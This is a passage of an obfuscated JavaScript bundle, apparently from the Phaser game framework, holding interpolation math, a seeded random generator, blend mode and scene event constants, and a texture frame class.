(_0x546edb, _0x42832c, _0x1434b9, _0x3fdda1, _0x1f4b24) { return function (_0x8f3497, _0xaf0ff6) { var _0xd2b24e = 0x1 - _0x8f3497; return _0xd2b24e * _0xd2b24e * _0xd2b24e * _0xaf0ff6; }(_0x546edb, _0x42832c) + function (_0x39fca9, _0x831558) { var _0x3316b3 = 0x1 - _0x39fca9; return 0x3 * _0x3316b3 * _0x3316b3 * _0x39fca9 * _0x831558; }(_0x546edb, _0x1434b9) + function (_0x20b01d, _0x4792b9) { return 0x3 * (0x1 - _0x20b01d) * _0x20b01d * _0x20b01d * _0x4792b9; }(_0x546edb, _0x3fdda1) + function (_0x224993, _0x4983dc) { return _0x224993 * _0x224993 * _0x224993 * _0x4983dc; }(_0x546edb, _0x1f4b24); }; }, 0x1a6d: (_0xc4d0fe, _0x1bfccf, _0x3ea6c7) => { var _0x9b679f = _0x3ea6c7(0x6cf); _0xc4d0fe['exports'] = function (_0x594b37, _0xf20ecd) { var _0x5cdc27 = _0x594b37['length'] - 0x1, _0x4a28bd = _0x5cdc27 * _0xf20ecd, _0x384173 = Math['floor'](_0x4a28bd); return _0xf20ecd < 0x0 ? _0x9b679f(_0x594b37[0x0], _0x594b37[0x1], _0x4a28bd) : _0xf20ecd > 0x1 ? _0x9b679f(_0x594b37[_0x5cdc27], _0x594b37[_0x5cdc27 - 0x1], _0x5cdc27 - _0x4a28bd) : _0x9b679f(_0x594b37[_0x384173], _0x594b37[_0x384173 + 0x1 > _0x5cdc27 ? _0x5cdc27 : _0x384173 + 0x1], _0x4a28bd - _0x384173); }; }, 0x18f4: _0xaf7ebe => { _0xaf7ebe['exports'] = function (_0x2a80a8, _0x2b34dc, _0x527d12, _0x18d846) { return function (_0x2f6e4f, _0x50c3ba) { var _0x4cd5c4 = 0x1 - _0x2f6e4f; return _0x4cd5c4 * _0x4cd5c4 * _0x50c3ba; }(_0x2a80a8, _0x2b34dc) + function (_0x3465d0, _0x2e45eb) { return 0x2 * (0x1 - _0x3465d0) * _0x3465d0 * _0x2e45eb; }(_0x2a80a8, _0x527d12) + function (_0x48db64, _0x59e54d) { return _0x48db64 * _0x48db64 * _0x59e54d; }(_0x2a80a8, _0x18d846); }; }, 0x1667: (_0x39ff68, _0x2ea18e, _0x5140a3) => { var _0x4d1c90 = _0x5140a3(0xaad); _0x39ff68['exports'] = function (_0x152d72, _0x4882b3, _0x154a42) { return _0x4882b3 + (_0x154a42 - _0x4882b3) * _0x4d1c90(_0x152d72, 0x0, 0x1); }; }, 0x2201: (_0x20fa3c, _0x4cdbe3, _0x4bc74b) => { var _0x71f382 = _0x4bc74b(0x116); _0x20fa3c['exports'] = function (_0x453f2a, _0xe42fe2, _0x5df7e5) { return _0xe42fe2 + (_0x5df7e5 - _0xe42fe2) * _0x71f382(_0x453f2a, 0x0, 0x1); }; }, 0x85c: (_0x2b4c83, _0x1d31b2, _0x49969e) => { _0x2b4c83['exports'] = { 'Bezier': _0x49969e(0x668), 'CatmullRom': _0x49969e(0x17d9), 'CubicBezier': _0x49969e(0xfa2), 'Linear': _0x49969e(0x1a6d), 'QuadraticBezier': _0x49969e(0x18f4), 'SmoothStep': _0x49969e(0x1667), 'SmootherStep': _0x49969e(0x2201) }; }, 0x1543: _0x37f9c8 => { _0x37f9c8['exports'] = function (_0x37f4e0) { var _0x48d3ea = Math['log'](_0x37f4e0) / 0.6931471805599453; return 0x1 << Math['ceil'](_0x48d3ea); }; }, 0x2d5: _0x2a8837 => { _0x2a8837['exports'] = function (_0x55581c, _0x28c2d2) { return _0x55581c > 0x0 && 0x0 == (_0x55581c & _0x55581c - 0x1) && _0x28c2d2 > 0x0 && 0x0 == (_0x28c2d2 & _0x28c2d2 - 0x1); }; }, 0xa7: _0x538362 => { _0x538362['exports'] = function (_0x2b3083) { return _0x2b3083 > 0x0 && 0x0 == (_0x2b3083 & _0x2b3083 - 0x1); }; }, 0x1ed9: (_0x2caf94, _0xba9588, _0x197089) => { _0x2caf94['exports'] = { 'GetNext': _0x197089(0x1543), 'IsSize': _0x197089(0x2d5), 'IsValue': _0x197089(0xa7) }; }, 0x1b2d: (_0x2387f2, _0x3a6ff2, _0x3c4a87) => { var _0x2d1b33 = new (_0x3c4a87(0x1d31))({ 'initialize': function (_0x1ab0b0) { void 0x0 === _0x1ab0b0 && (_0x1ab0b0 = [(Date['now']() * Math['random']())['toString']()]), this['c'] = 0x1, this['s0'] = 0x0, this['s1'] = 0x0, this['s2'] = 0x0, this['n'] = 0x0, this['signs'] = [-0x1, 0x1], _0x1ab0b0 && this['init'](_0x1ab0b0); }, 'rnd': function () { var _0x43e152 = 0x1fea77 * this['s0'] + 2.3283064365386963e-10 * this['c']; return this['c'] = 0x0 | _0x43e152, this['s0'] = this['s1'], this['s1'] = this['s2'], this['s2'] = _0x43e152 - this['c'], this['s2']; }, 'hash': function (_0x2c5a87) { var _0x8cc280, _0x4a2eb0 = this['n']; _0x2c5a87 = _0x2c5a87['toString'](); for (var _0x34b1e0 = 0x0; _0x34b1e0 < _0x2c5a87['length']; _0x34b1e0++)_0x8cc280 = 0.02519603282416938 * (_0x4a2eb0 += _0x2c5a87['charCodeAt'](_0x34b1e0)), _0x8cc280 -= _0x4a2eb0 = _0x8cc280 >>> 0x0, _0x4a2eb0 = (_0x8cc280 *= _0x4a2eb0) >>> 0x0, _0x4a2eb0 += 0x100000000 * (_0x8cc280 -= _0x4a2eb0); return this['n'] = _0x4a2eb0, 2.3283064365386963e-10 * (_0x4a2eb0 >>> 0x0); }, 'init': function (_0x5e19d0) { 'string' == typeof _0x5e19d0 ? this['state'](_0x5e19d0) : this['sow'](_0x5e19d0); }, 'sow': function (_0x475a12) { if (this['n'] = 0xefc8249d, this['s0'] = this['hash']('\x20'), this['s1'] = this['hash']('\x20'), this['s2'] = this['hash']('\x20'), this['c'] = 0x1, _0x475a12) for (var _0x5bee63 = 0x0; _0x5bee63 < _0x475a12['length'] && null != _0x475a12[_0x5bee63]; _0x5bee63++) { var _0x15607c = _0x475a12[_0x5bee63]; this['s0'] -= this['hash'](_0x15607c), this['s0'] += ~~(this['s0'] < 0x0), this['s1'] -= this['hash'](_0x15607c), this['s1'] += ~~(this['s1'] < 0x0), this['s2'] -= this['hash'](_0x15607c), this['s2'] += ~~(this['s2'] < 0x0); } }, 'integer': function () { return 0x100000000 * this['rnd'](); }, 'frac': function () { return this['rnd']() + 1.1102230246251565e-16 * (0x200000 * this['rnd']() | 0x0); }, 'real': function () { return this['integer']() + this['frac'](); }, 'integerInRange': function (_0x2beeba, _0x1f8263) { return Math['floor'](this['realInRange'](0x0, _0x1f8263 - _0x2beeba + 0x1) + _0x2beeba); }, 'between': function (_0x332a74, _0x10c523) { return Math['floor'](this['realInRange'](0x0, _0x10c523 - _0x332a74 + 0x1) + _0x332a74); }, 'realInRange': function (_0x160180, _0x20d427) { return this['frac']() * (_0x20d427 - _0x160180) + _0x160180; }, 'normal': function () { return 0x1 - 0x2 * this['frac'](); }, 'uuid': function () { var _0x28b7de = '', _0x54e18e = ''; for (_0x54e18e = _0x28b7de = ''; _0x28b7de++ < 0x24; _0x54e18e += ~_0x28b7de % 0x5 | 0x3 * _0x28b7de & 0x4 ? (0xf ^ _0x28b7de ? 0x8 ^ this['frac']() * (0x14 ^ _0x28b7de ? 0x10 : 0x4) : 0x4)['toString'](0x10) : '-'); return _0x54e18e; }, 'pick': function (_0x44f460) { return _0x44f460[this['integerInRange'](0x0, _0x44f460['length'] - 0x1)]; }, 'sign': function () { return this['pick'](this['signs']); }, 'weightedPick': function (_0x12c92a) { return _0x12c92a[~~(Math['pow'](this['frac'](), 0x2) * _0x12c92a['length'] + 0.5)]; }, 'timestamp': function (_0x33d104, _0x4ef094) { return this['realInRange'](_0x33d104 || 0xdc6acfac00, _0x4ef094 || 0x16f5fe76d80); }, 'angle': function () { return this['integerInRange'](-0xb4, 0xb4); }, 'rotation': function () { return this['realInRange'](-3.1415926, 3.1415926); }, 'state': function (_0x32d140) { return 'string' == typeof _0x32d140 && _0x32d140['match'](/^!rnd/) && (_0x32d140 = _0x32d140['split'](','), this['c'] = parseFloat(_0x32d140[0x1]), this['s0'] = parseFloat(_0x32d140[0x2]), this['s1'] = parseFloat(_0x32d140[0x3]), this['s2'] = parseFloat(_0x32d140[0x4])), ['!rnd', this['c'], this['s0'], this['s1'], this['s2']]['join'](','); }, 'shuffle': function (_0x1c05d2) { for (var _0x4d333e = _0x1c05d2['length'] - 0x1; _0x4d333e > 0x0; _0x4d333e--) { var _0x3331a8 = Math['floor'](this['frac']() * (_0x4d333e + 0x1)), _0x19a946 = _0x1c05d2[_0x3331a8]; _0x1c05d2[_0x3331a8] = _0x1c05d2[_0x4d333e], _0x1c05d2[_0x4d333e] = _0x19a946; } return _0x1c05d2; } }); _0x2387f2['exports'] = _0x2d1b33; }, 0x161b: _0xc3cb91 => { _0xc3cb91['exports'] = function (_0x52f614, _0x400898, _0xebc3fc, _0x358c72) { return void 0x0 === _0xebc3fc && (_0xebc3fc = 0x0), 0x0 === _0x400898 ? _0x52f614 : (_0x52f614 -= _0xebc3fc, _0x52f614 = _0x400898 * Math['ceil'](_0x52f614 / _0x400898), _0x358c72 ? (_0xebc3fc + _0x52f614) / _0x400898 : _0xebc3fc + _0x52f614); }; }, 0x1555: _0x196af5 => { _0x196af5['exports'] = function (_0x2bee73, _0x25650f, _0x5e25b6, _0x212aac) { return void 0x0 === _0x5e25b6 && (_0x5e25b6 = 0x0), 0x0 === _0x25650f ? _0x2bee73 : (_0x2bee73 -= _0x5e25b6, _0x2bee73 = _0x25650f * Math['floor'](_0x2bee73 / _0x25650f), _0x212aac ? (_0x5e25b6 + _0x2bee73) / _0x25650f : _0x5e25b6 + _0x2bee73); }; }, 0x140b: _0x56be65 => { _0x56be65['exports'] = function (_0xa77ea4, _0x59e866, _0x376ed3, _0x44a10e) { return void 0x0 === _0x376ed3 && (_0x376ed3 = 0x0), 0x0 === _0x59e866 ? _0xa77ea4 : (_0xa77ea4 -= _0x376ed3, _0xa77ea4 = _0x59e866 * Math['round'](_0xa77ea4 / _0x59e866), _0x44a10e ? (_0x376ed3 + _0xa77ea4) / _0x59e866 : _0x376ed3 + _0xa77ea4); }; }, 0xf67: (_0x1b80eb, _0x7e9b02, _0x48b188) => { _0x1b80eb['exports'] = { 'Ceil': _0x48b188(0x161b), 'Floor': _0x48b188(0x1555), 'To': _0x48b188(0x140b) }; }, 0x21da: (_0x5db1c3, _0x2f0234, _0x19695f) => { var _0x5b0064 = new (_0x19695f(0x1d31))({ 'initialize': function (_0x2805fd) { this['pluginManager'] = _0x2805fd, this['game'] = _0x2805fd['game']; }, 'init': function () { }, 'start': function () { }, 'stop': function () { }, 'destroy': function () { this['pluginManager'] = null, this['game'] = null, this['scene'] = null, this['systems'] = null; } }); _0x5db1c3['exports'] = _0x5b0064; }, 0x2108: _0x46fb39 => { var _0x26d553 = {}, _0x14d396 = {}, _0x14a5bf = { 'register': function (_0x2d8e1d, _0x2f61d7, _0x5776dd, _0x10ad5b) { void 0x0 === _0x10ad5b && (_0x10ad5b = !0x1), _0x26d553[_0x2d8e1d] = { 'plugin': _0x2f61d7, 'mapping': _0x5776dd, 'custom': _0x10ad5b }; }, 'registerCustom': function (_0x2037a1, _0x18226a, _0x2be18f, _0x5a52db) { _0x14d396[_0x2037a1] = { 'plugin': _0x18226a, 'mapping': _0x2be18f, 'data': _0x5a52db }; }, 'hasCore': function (_0x2299d7) { return _0x26d553['hasOwnProperty'](_0x2299d7); }, 'hasCustom': function (_0x2b3687) { return _0x14d396['hasOwnProperty'](_0x2b3687); }, 'getCore': function (_0x59858b) { return _0x26d553[_0x59858b]; }, 'getCustom': function (_0x2d87e0) { return _0x14d396[_0x2d87e0]; }, 'getCustomClass': function (_0x36d780) { return _0x14d396['hasOwnProperty'](_0x36d780) ? _0x14d396[_0x36d780]['plugin'] : null; }, 'remove': function (_0x2dc7d4) { _0x26d553['hasOwnProperty'](_0x2dc7d4) && delete _0x26d553[_0x2dc7d4]; }, 'removeCustom': function (_0x485a56) { _0x14d396['hasOwnProperty'](_0x485a56) && delete _0x14d396[_0x485a56]; }, 'destroyCorePlugins': function () { for (var _0x3470d7 in _0x26d553) _0x26d553['hasOwnProperty'](_0x3470d7) && delete _0x26d553[_0x3470d7]; }, 'destroyCustomPlugins': function () { for (var _0x1e9436 in _0x14d396) _0x14d396['hasOwnProperty'](_0x1e9436) && delete _0x14d396[_0x1e9436]; } }; _0x46fb39['exports'] = _0x14a5bf; }, 0x165a: (_0x5e19b9, _0x15fc31, _0x26409b) => { var _0x47cd8c = _0x26409b(0x21da), _0xdcd7f2 = _0x26409b(0x1d31), _0x1901b9 = _0x26409b(0xcc), _0x4aa48a = new _0xdcd7f2({ 'Extends': _0x47cd8c, 'initialize': function (_0x57a2b9, _0xe529cd, _0xe73d23) { _0x47cd8c['call'](this, _0xe529cd), this['scene'] = _0x57a2b9, this['systems'] = _0x57a2b9['sys'], this['pluginKey'] = _0xe73d23, _0x57a2b9['sys']['events']['once'](_0x1901b9['BOOT'], this['boot'], this); }, 'boot': function () { }, 'destroy': function () { this['pluginManager'] = null, this['game'] = null, this['scene'] = null, this['systems'] = null; } }); _0x5e19b9['exports'] = _0x4aa48a; }, 0x209f: _0x39f9f5 => { _0x39f9f5['exports'] = { 'SKIP_CHECK': -0x1, 'NORMAL': 0x0, 'ADD': 0x1, 'MULTIPLY': 0x2, 'SCREEN': 0x3, 'OVERLAY': 0x4, 'DARKEN': 0x5, 'LIGHTEN': 0x6, 'COLOR_DODGE': 0x7, 'COLOR_BURN': 0x8, 'HARD_LIGHT': 0x9, 'SOFT_LIGHT': 0xa, 'DIFFERENCE': 0xb, 'EXCLUSION': 0xc, 'HUE': 0xd, 'SATURATION': 0xe, 'COLOR': 0xf, 'LUMINOSITY': 0x10, 'ERASE': 0x11, 'SOURCE_IN': 0x12, 'SOURCE_OUT': 0x13, 'SOURCE_ATOP': 0x14, 'DESTINATION_OVER': 0x15, 'DESTINATION_IN': 0x16, 'DESTINATION_OUT': 0x17, 'DESTINATION_ATOP': 0x18, 'LIGHTER': 0x19, 'COPY': 0x1a, 'XOR': 0x1b }; }, 0x2004: _0x421853 => { _0x421853['exports'] = { 'DEFAULT': 0x0, 'LINEAR': 0x0, 'NEAREST': 0x1 }; }, 0xdc7: _0x24a0b2 => { _0x24a0b2['exports'] = 'resize'; }, 0x21aa: _0x2ceda9 => { _0x2ceda9['exports'] = 'addedtoscene'; }, 0x10e8: _0x294c6d => { _0x294c6d['exports'] = 'boot'; }, 0x17d3: _0x586292 => { _0x586292['exports'] = 'create'; }, 0x1ddd: _0x1e7b3b => { _0x1e7b3b['exports'] = 'destroy'; }, 0xa96: _0x9e0f9 => { _0x9e0f9['exports'] = 'pause'; }, 0x9f3: _0x358903 => { _0x358903['exports'] = 'postupdate'; }, 0x2181: _0x3fbc1a => { _0x3fbc1a['exports'] = 'prerender'; }, 0x2005: _0x53a5cc => { _0x53a5cc['exports'] = 'preupdate'; }, 0x2325: _0x526a14 => { _0x526a14['exports'] = 'ready'; }, 0x1db4: _0x1fbc82 => { _0x1fbc82['exports'] = 'removedfromscene'; }, 0x2327: _0x532da2 => { _0x532da2['exports'] = 'render'; }, 0x260e: _0x53ef12 => { _0x53ef12['exports'] = 'resume'; }, 0xe53: _0xb09d81 => { _0xb09d81['exports'] = 'shutdown'; }, 0xd8c: _0x1ff172 => { _0x1ff172['exports'] = 'sleep'; }, 0x1ea0: _0x1a2835 => { _0x1a2835['exports'] = 'start'; }, 0x26a8: _0xae52e7 => { _0xae52e7['exports'] = 'transitioncomplete'; }, 0x13ef: _0x5106a4 => { _0x5106a4['exports'] = 'transitioninit'; }, 0xc5a: _0x2bde7b => { _0x2bde7b['exports'] = 'transitionout'; }, 0x1ea1: _0x55232a => { _0x55232a['exports'] = 'transitionstart'; }, 0x1936: _0x3b276c => { _0x3b276c['exports'] = 'transitionwake'; }, 0x1988: _0xcf5c24 => { _0xcf5c24['exports'] = 'update'; }, 0xf23: _0x248f26 => { _0x248f26['exports'] = 'wake'; }, 0xcc: (_0x3df3e5, _0x241cc5, _0x1e9a7b) => { _0x3df3e5['exports'] = { 'ADDED_TO_SCENE': _0x1e9a7b(0x21aa), 'BOOT': _0x1e9a7b(0x10e8), 'CREATE': _0x1e9a7b(0x17d3), 'DESTROY': _0x1e9a7b(0x1ddd), 'PAUSE': _0x1e9a7b(0xa96), 'POST_UPDATE': _0x1e9a7b(0x9f3), 'PRE_RENDER': _0x1e9a7b(0x2181), 'PRE_UPDATE': _0x1e9a7b(0x2005), 'READY': _0x1e9a7b(0x2325), 'REMOVED_FROM_SCENE': _0x1e9a7b(0x1db4), 'RENDER': _0x1e9a7b(0x2327), 'RESUME': _0x1e9a7b(0x260e), 'SHUTDOWN': _0x1e9a7b(0xe53), 'SLEEP': _0x1e9a7b(0xd8c), 'START': _0x1e9a7b(0x1ea0), 'TRANSITION_COMPLETE': _0x1e9a7b(0x26a8), 'TRANSITION_INIT': _0x1e9a7b(0x13ef), 'TRANSITION_OUT': _0x1e9a7b(0xc5a), 'TRANSITION_START': _0x1e9a7b(0x1ea1), 'TRANSITION_WAKE': _0x1e9a7b(0x1936), 'UPDATE': _0x1e9a7b(0x1988), 'WAKE': _0x1e9a7b(0xf23) }; }, 0x93a: (_0x5c8c22, _0x7faee6, _0x3e0ab4) => { var _0x1381b5 = _0x3e0ab4(0x1d31), _0x4d92c2 = _0x3e0ab4(0xb63), _0x5e02f4 = _0x3e0ab4(0x406), _0x592a4d = new _0x1381b5({ 'initialize': function (_0x58b3d7, _0x59db6d, _0x1b4302, _0x92e90c, _0x49cf13, _0x224070, _0x3729a0) { this['texture'] = _0x58b3d7, this['name'] = _0x59db6d, this['source'] = _0x58b3d7['source'][_0x1b4302], this['sourceIndex'] = _0x1b4302, this['glTexture'] = this['source']['glTexture'], this['cutX'], this['cutY'], this['cutWidth'], this['cutHeight'], this['x'] = 0x0, this['y'] = 0x0, this['width'], this['height'], this['halfWidth'], this['halfHeight'], this['centerX'], this['centerY'], this['pivotX'] = 0x0, this['pivotY'] = 0x0, this['customPivot'] = !0x1, this['rotated'] = !0x1, this['autoRound'] = -0x1, this['customData'] = {}, this['u0'] = 0x0, this['v0'] = 0x0, this['u1'] = 0x0, this['v1'] = 0x0, this['data'] = { 'cut': { 'x': 0x0, 'y': 0x0, 'w': 0x0, 'h': 0x0, 'r': 0x0, 'b': 0x0 }, 'trim': !0x1, 'sourceSize': { 'w': 0x0, 'h': 0x0 }, 'spriteSourceSize': { 'x': 0x0, 'y': 0x0, 'w': 0x0, 'h': 0x0, 'r': 0x0, 'b': 0x0 }, 'radius': 0x0, 'drawImage': { 'x': 0x0, 'y': 0x0, 'width': 0x0, 'height': 0x0 }, 'is3Slice': !0x1, 'scale9': !0x1, 'scale9Borders': { 'x': 0x0, 'y': 0x0, 'w': 0x0, 'h': 0x0 } }, this['setSize'](_0x224070, _0x3729a0, _0x92e90c, _0x49cf13); }, 'setSize': function (_0x1500f3, _0x3fa0c1, _0x23e93, _0x1de3e3) { void 0x0 === _0x23e93 && (_0x23e93 = 0x0), void 0x0 === _0x1de3e3 && (_0x1de3e3 = 0x0), this['cutX'] = _0x23e93, this['cutY'] = _0x1de3e3, this['cutWidth'] = _0x1500f3, this['cutHeight'] = _0x3fa0c1, this['width'] = _0x1500f3, this['height'] = _0x3fa0c1, this['halfWidth'] = Math['floor'](0.5 * _0x1500f3), this['halfHeight'] = Math['floor'](0.5 * _0x3fa0c1), this['centerX'] = Math['floor'](_0x1500f3 / 0x2), this['centerY'] = Math['floor'](_0x3fa0c1 / 0x2); var _0x30c9ce = this['data'], _0xec52fd = _0x30c9ce['cut']; _0xec52fd['x'] = _0x23e93, _0xec52fd['y'] = _0x1de3e3, _0xec52fd['w'] = _0x1500f3, _0xec52fd['h'] = _0x3fa0c1, _0xec52fd['r'] = _0x23e93 + _0x1500f3, _0xec52fd['b'] = _0x1de3e3 + _0x3fa0c1, _0x30c9ce['sourceSize']['w'] = _0x1500f3, _0x30c9ce['sourceSize']['h'] = _0x3fa0c1, _0x30c9ce['spriteSourceSize']['w'] = _0x1500f3, _0x30c9ce['spriteSourceSize']['h'] = _0x3fa0c1, _0x30c9ce['radius'] = 0.5 * Math['sqrt'](_0x1500f3 * _0x1500f3 + _0x3fa0c1 * _0x3fa0c1); var _0x5bf59a = _0x30c9ce['drawImage']; return _0x5bf59a['x'] = _0x23e93, _0x5bf59a['y'] = _0x1de3e3, _0x5bf59a['width'] = _0x1500f3, _0x5bf59a['height'] = _0x3fa0c1, this['updateUVs'](); }, 'setTrim': function (_0x12889c, _0x214c09, _0x2a8d23, _0x2b1d63, _0x3fe063, _0x5893f1) { var _0x2c01f5 = this['data'], _0x20939e = _0x2c01f5['spriteSourceSize']; return _0x2c01f5['trim'] = !0x0, _0x2c01f5['sourceSize']['w'] = _0x12889c, _0x2c01f5['sourceSize']['h'] = _0x214c09, _0x20939e['x'] = _0x2a8d23, _0x20939e['y'] = _0x2b1d63, _0x20939e['w'] = _0x3fe063, _0x20939e['h'] = _0x5893f1, _0x20939e['r'] = _0x2a8d23 + _0x3fe063, _0x20939e['b'] = _0x2b1d63 + _0x5893f1, this['x'] = _0x2a8d23, this['y'] = _0x2b1d63, this['width'] = _0x3fe063, this['height'] = _0x5893f1, this['halfWidth'] = 0.5 * _0x3fe063, this['halfHeight'] = 0.5 * _0x5893f1, this['centerX'] = Math['floor'](_0x3fe063 / 0x2), this['centerY'] = Math['floor'](_0x5893f1 / 0x2), this['updateUVs'](); }, 'setScale9': function (_0x179e35, _0x5c1179, _0x52f5e7, _0x1e00e9) { var _0x409e39 = this['data']; return _0x409e39['scale9'] = !0x0, _0x409e39['is3Slice'] = 0x0 === _0x5c1179 && _0x1e00e9 === this['height'], _0x409e39['scale9Borders']['x'] = _0x179e35, _0x409e39['scale9Borders']['y'] = _0x5c1179, _0x409e39['scale9Borders']['w'] = _0x52f5e7, _0x409e39['scale9Borders']['h'] = _0x1e00e9, this; }, 'setCropUVs': function (_0x2afa81, _0x58361d, _0x526fb6, _0x4b73e9, _0x4243af, _0x5e9214, _0x56f371) { var _0x5734d4 = this['cutX'], _0x475f22 = this['cutY'], _0x3a4e2d = this['cutWidth'], _0x20bd17 = this['cutHeight'], _0x3a59b6 = this['realWidth'], _0x21bab3 = this['realHeight'], _0x44c9af = _0x5734d4 + (_0x58361d = _0x4d92c2(_0x58361d, 0x0, _0x3a59b6)), _0x8cfae7 = _0x475f22 + (_0x526fb6 = _0x4d92c2(_0x526fb6, 0x0, _0x21bab3)), _0x273b88 = _0x4b73e9 = _0x4d92c2(_0x4b73e9, 0x0, _0x3a59b6 - _0x58361d), _0x401342 = _0x4243af = _0x4d92c2(_0x4243af, 0x0, _0x21bab3 - _0x526fb6), _0x4f7b7f = this['data']; if (_0x4f7b7f['trim']) { var _0x27199e = _0x4f7b7f['spriteSourceSize'], _0x5c36ae = _0x58361d + (_0x4b73e9 = _0x4d92c2(_0x4b73e9, 0x0, _0x3a4e2d - _0x58361d)), _0x24f229 = _0x526fb6 + (_0x4243af = _0x4d92c2(_0x4243af, 0x0, _0x20bd17 - _0x526fb6)); if (!(_0x27199e['r'] < _0x58361d || _0x27199e['b'] < _0x526fb6 || _0x27199e['x'] > _0x5c36ae || _0x27199e['y'] > _0x24f229)) { var _0xf152a8 = Math['max'](_0x27199e['x'], _0x58361d), _0x59724f = Math['max'](_0x27199e['y'], _0x526fb6), _0xd6f3cf = Math['min'](_0x27199e['r'], _0x5c36ae) - _0xf152a8, _0x44dd3d = Math['min'](_0x27199e['b'], _0x24f229) - _0x59724f; _0x273b88 = _0xd6f3cf, _0x401342 = _0x44dd3d, _0x44c9af = _0x5e9214 ? _0x5734d4 + (_0x3a4e2d - (_0xf152a8 - _0x27199e['x']) - _0xd6f3cf) : _0x5734d4 + (_0xf152a8 - _0x27199e['x']), _0x8cfae7 = _0x56f371 ? _0x475f22 + (_0x20bd17 - (_0x59724f - _0x27199e['y']) - _0x44dd3d) : _0x475f22 + (_0x59724f - _0x27199e['y']), _0x58361d = _0xf152a8, _0x526fb6 = _0x59724f, _0x4b73e9 = _0xd6f3cf, _0x4243af = _0x44dd3d; } else _0x44c9af = 0x0, _0x8cfae7 = 0x0, _0x273b88 = 0x0, _0x401342 = 0x0; } else _0x5e9214 && (_0x44c9af = _0x5734d4 + (_0x3a4e2d - _0x58361d - _0x4b73e9)), _0x56f371 && (_0x8cfae7 = _0x475f22 + (_0x20bd17 - _0x526fb6 - _0x4243af)); var _0xf5b23f = this['source']['width'], _0xdbca36 = this['source']['height']; return _0x2afa81['u0'] = Math['max'](0x0, _0x44c9af / _0xf5b23f), _0x2afa81['v0'] = Math['max'](0x0, _0x8cfae7 / _0xdbca36), _0x2afa81['u1'] = Math['min'](0x1, (_0x44c9af + _0x273b88) / _0xf5b23f), _0x2afa81['v1'] = Math['min'](0x1, (_0x8cfae7 + _0x401342) / _0xdbca36), _0x2afa81['x'] = _0x58361d, _0x2afa81['y'] = _0x526fb6, _0x2afa81['cx'] = _0x44c9af, _0x2afa81['cy'] = _0x8cfae7, _0x2afa81['cw'] = _0x273b88, _0x2afa81['ch'] = _0x401342, _0x2afa81['width'] = _0x4b73e9, _0x2afa81['height'] = _0x4243af, _0x2afa81['flipX'] = _0x5e9214, _0x2afa81['flipY'] = _0x56f371, _0x2afa81; }, 'updateCropUVs': function (_0xd4da21, _0x574bbf, _0x2bde5f) { return this['setCropUVs'](_0xd4da21, _0xd4da21['x'], _0xd4da21['y'], _0xd4da21['width'], _0xd4da21['height'], _0x574bbf, _0x2bde5f); }, 'setUVs': function (_0x2e93a5, _0x870167, _0x126159, _0x38eaac, _0x26095e, _0x1bf684) { var _0x383fdf = this['data']['drawImage']; return _0x383fdf['width'] = _0x2e93a5, _0x383fdf['height'] = _0x870167, this['u0'] = _0x126159, this['v0'] = _0x38eaac, this['u1'] = _0x26095e, this['v1'] = _0x1bf684, this; }, 'updateUVs': function () { var _0x3561e3 = this['cutX'], _0xc3d579 = this['cutY'], _0x147843 = this['cutWidth'], _0x1fdb8d = this['cutHeight'], _0x3b3586 = this['data']['drawImage']; _0x3b3586['width'] = _0x147843, _0x3b3586['height'] = _0x1fdb8d; var _0x47fe56 = this['source']['width'], _0x246f0b = this['source']['height']; return this['u0'] = _0x3561e3 / _0x47fe56, this['v0'] = _0xc3d579 / _0x246f0b, this['u1'] = (_0x3561e3 + _0x147843) / _0x47fe56, this['v1'] = (_0xc3d579 + _0x1fdb8d) / _0x246f0b, this; }, 'updateUVsInverted': function () { var _0x5634a9 = this['source']['width'], _0x1ac311 = this['source']['height']; return this['u0'] = (this['cutX'] + this['cutHeight']) / _0x5634a9, this['v0'] = this['cutY'] / _0x1ac311, this['u1'] = this['cutX'] / _0x5634a9, this['v1'] = (this['cutY'] + this['cutWidth']) / _0x1ac311, this; }, 'clone': function () { var _0x437eb1 = new _0x592a4d(this['texture'], this['name'], this['sourceIndex']); return _0x437eb1['cutX'] = this['cutX'], _0x437eb1['cutY'] = this['cutY'], _0x437eb1['cutWidth'] = this['cutWidth'], _0x437eb1['cutHeight'] = this['cutHeight'], _0x437eb1['x'] = this['x'], _0x437eb1['y'] = this['y'], _0x437eb1['width'] = this['width'], _0x437eb1['height'] = this['height'], _0x437eb1['halfWidth'] = this['halfWidth'], _0x437eb1['halfHeight'] = this['halfHeight'], _0x437eb1['centerX'] = this['centerX'], _0x437eb1['centerY'] = this['centerY'], _0x437eb1['rotated'] = this['rotated'], _0x437eb1['data'] = _0x5e02f4(!0x0, _0x437eb1['data'], this['data']), _0x437eb1['updateUVs'](), _0x437eb1; }, 'destroy': function () { this['texture'] = null, this['source'] = null, this['glTexture'] = null, this['customData'] = null, this['data'] = null; }, 'realWidth': { 'get': function () { return this['data']['sourceSize']['w']; } }, 'realHeight': { 'get': function () { return this['data']['sourceSize']['h']; } }, 'radius': { 'get': function () { return this['data']['radius']; } }, 'trimmed': { 'get': function () { return this['data']['trim']; } }, 'scale9': { 'get': function () { return this['data']['scale9']; } }, 'is3Slice': { 'get': function () { return this['data']['is3Slice']; } }, 'canvasData': { 'get': function () { return this['data']['drawImage']; } } }); _0x5c8c22['exports'] = _0x592a4d; }, 0x748: _0x1f239a => { _0x1f239a['exports'] = function (_0x2c36ae, _0xe2a1bc, _0x3a6072) { return _0x2c36ae && _0x2c36ae['hasOwnProperty'](_0xe2a1bc) ? _0x2c36ae[_0xe2a1bc] : _0x3a6072; }; }, 0xea3: _0x1f9663 => { _0x1f9663['exports'] = { 'CREATED': 0x0, 'DELAY': 0x2, 'PENDING_RENDER': 0x4, 'PLAYING_FORWARD': 0x5, 'PLAYING_BACKWARD': 0x6, 'HOLD_DELAY': 0x7, 'REPEAT_DELAY': 0x8, 'COMPLETE': 0x9, 'PENDING': 0x14, 'ACTIVE': 0x15, 'LOOP_DELAY': 0x16, 'COMPLETE_DELAY': 0x17, 'START_DELAY': 0x18, 'PENDING_REMOVE': 0x19, 'REMOVED': 0x1a, 'FINISHED': 0x1b, 'DESTROYED': 0x1c, 'MAX': 0xe8d4a50fff }; }, 0x1d31: _0x3edca7 => { function _0x2a46ab(_0x27341f, _0x3bb3f7, _0x28dd61) { var _0x5ea547 = _0x28dd61 ? _0x27341f[_0x3bb3f7] : Object['getOwnPropertyDescriptor'](_0x27341f, _0x3bb3f7); return !_0x28dd61 && _0x5ea547['value'] && 'object' == typeof _0x5ea547['value'] && (_0x5ea547 = _0x5ea547['value']), !(!_0x5ea547 || !function (_0x1177f9) { return !!_0x1177f9['get'] && 'function' == typeof _0x1177f9['get'] || 